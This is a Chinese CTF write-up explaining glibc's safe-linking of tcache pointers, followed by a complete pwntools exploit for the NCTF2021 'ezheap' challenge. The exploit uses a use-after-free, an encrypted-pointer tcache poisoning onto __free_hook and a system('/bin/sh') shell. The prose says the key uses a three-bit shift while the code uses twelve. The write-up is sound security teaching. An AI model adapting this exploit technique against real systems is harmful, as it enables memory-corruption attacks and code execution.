glibc高版本堆题攻击之safe unlink

WriteUp 1年前 (2022) admin
653 0 0

glibc高版本堆题攻击之safe unlink

本文为看雪论坛优秀文章
看雪论坛作者ID:Nameless_a

测试版本2.33_5

从2.32版本开始,tcache和fastbin里面就加入了一个safe unlink的机制,主要是对fd指针的一个异或操作来使得不那么好利用UAF等需要fd指针的手法进行地址泄露以及进一步的任意地址写。

具体的效果如下:
glibc高版本堆题攻击之safe unlink
发现fd指针的值为0x562e784a3,如果是低版本的话,应该是0x562e784a3000也就是上一个堆块的地址。可以看出fd指针被加密了。

那么是怎么加密的呢,我们看看源码:
/* Safe-Linking: Use randomness from ASLR (mmap_base) to protect single-linked lists of Fast-Bins and TCache. That is, mask the "next" pointers of the lists' chunks, and also perform allocation alignment checks on them. This mechanism reduces the risk of pointer hijacking, as was done with Safe-Unlinking in the double-linked lists of Small-Bins. It assumes a minimum page size of 4096 bytes (12 bits). Systems with larger pages provide less entropy, although the pointer mangling still works. *//* 加密函数 */#define PROTECT_PTR(pos, ptr) ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))/* 解密函数 */#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

pos是我们当前的堆块的fd指针的地址,ptr是未加密的时候fd指针应该指向的堆地址(也就是前一个被放进tcache的堆块的fd指针的位置)。

说通俗一点,当堆块P被free的时候,P的fd要放前一个堆块的ptr(tcache里面放的就直接是fd指针的位置了)。而放置的时候,会把&P->fd这个堆地址右移三位,当作一个密钥,来异或ptr这个明文,最后在把得到的密文放在P->这个位置。

我们再多放进tcache一个堆块测试一下:

glibc高版本堆题攻击之safe unlink

没问题。那么解密过程又是怎么的呢?我们这里演草一下,就很清晰明了了:
glibc高版本堆题攻击之safe unlink
结论就是,密文异或密钥就得到明文了(这里感谢二进制密码爷hash_hash师傅https://hash-hash.github.io/的指点)。


模板题:【NCTF2021】ezheap
版本

同测试版本

保护glibc高版本堆题攻击之safe unlink
idaglibc高版本堆题攻击之safe unlink
很常见的菜单题,实现了增删改查,然后删的时候有个UAF:
glibc高版本堆题攻击之safe unlink
不过并没有完全UAF,没有清空指针,但是因为清空了size数组上对应的值,不能再edit了。但是我们可以通过在note段放两个相同的堆指针(因为没有清空,add free add就好了),free那个被清空size的idx,然后就能通过另一个idx对bin中的堆块进行修改了,就可以通过edit将它的fd指针设置为(__free_hook ^ (pos>>3))实现tcache poison然后get shell。

expfrom pwn import *from hashlib import sha256import base64context.log_level='debug'#context.arch = 'amd64'context.arch = 'amd64'context.os = 'linux' def z(): gdb.attach(r) def cho(num): r.sendafter(">> ",str(num)) def add(size,con): cho(1) r.sendafter("Size: ",str(size)) r.sendafter("Content: ",con) def edit(idx,con): cho(2) r.sendafter("Index: ",str(idx)) r.sendafter("Content: ",con) def delet(idx): cho(3) r.sendafter("Index: ",str(idx)) def show(idx): cho(4) r.sendafter("Index: ",str(idx)) def exp(): global r global libc libc=ELF('./libc-2.33.so') r=process('./ezheap') ##[+]:leak libc && heap for i in range(0,8): add(0x80,'nameless') for i in range(1,8): delet(i) ##z() delet(0) show(1) heap=u64(r.recv(5).ljust(8,'x00')) key=heap heap<<=12 log.success('heap:'+hex(heap)) show(0) libcbase=u64(r.recvuntil('x7f')[-6:].ljust(8,'x00'))-0x1e0c00 log.success('libcbase:'+hex(libcbase)) ##[+]:set libc_func one=[0xe3b2e,0xe3b31,0xe3b34] free_hook=libcbase+libc.sym['__free_hook'] system=libcbase+libc.sym['system'] ##onegadget=libcbase+one[0] ##UAF && poison to get shell cry_free_hook=(free_hook)^key add(0x80,'nameless') delet(7) edit(8,p64(cry_free_hook)+'n') add(0x80,'/bin/shx00') ##9 add(0x80,p64(system)) delet(9) r.interactive() if __name__ == '__main__': exp()

参考博客

2021 NCTF ezheap Writeup (glibc2.32 以上 UAF) | SkYe231 Blog (mrskye.cn)
https://www.mrskye.cn/archives/16cb363f/#%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90

glibc高版本堆题攻击之safe unlink

看雪ID:Nameless_a
https://bbs.pediy.com/user-home-943085.htm
*本文由看雪论坛 Nameless_a 原创,转载请注明来自看雪社区
glibc高版本堆题攻击之safe unlink
峰会官网:https://meet.kanxue.com/kxmeet-6.htm


# 往期推荐

1.进程 Dump & PE unpacking & IAT 修复 – Windows 篇

2.NtSocket的稳定实现,Client与Server的简单封装,以及SocketAsyncSelect的一种APC实现
3.如何保护自己的代码?给自己的代码添加NoChange属性
4.针对某会议软件,简单研究其CEF框架
5.PE加载过程 FileBuffer-ImageBuffer
6.APT 双尾蝎样本分析

glibc高版本堆题攻击之safe unlink

glibc高版本堆题攻击之safe unlink球分享
glibc高版本堆题攻击之safe unlink球点赞
glibc高版本堆题攻击之safe unlink球在看

glibc高版本堆题攻击之safe unlink点击“阅读原文”,了解更多!

原文始发于微信公众号(看雪学苑):glibc高版本堆题攻击之safe unlink

版权声明:admin 发表于 2022年10月24日 下午6:00。
转载请注明:glibc高版本堆题攻击之safe unlink | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...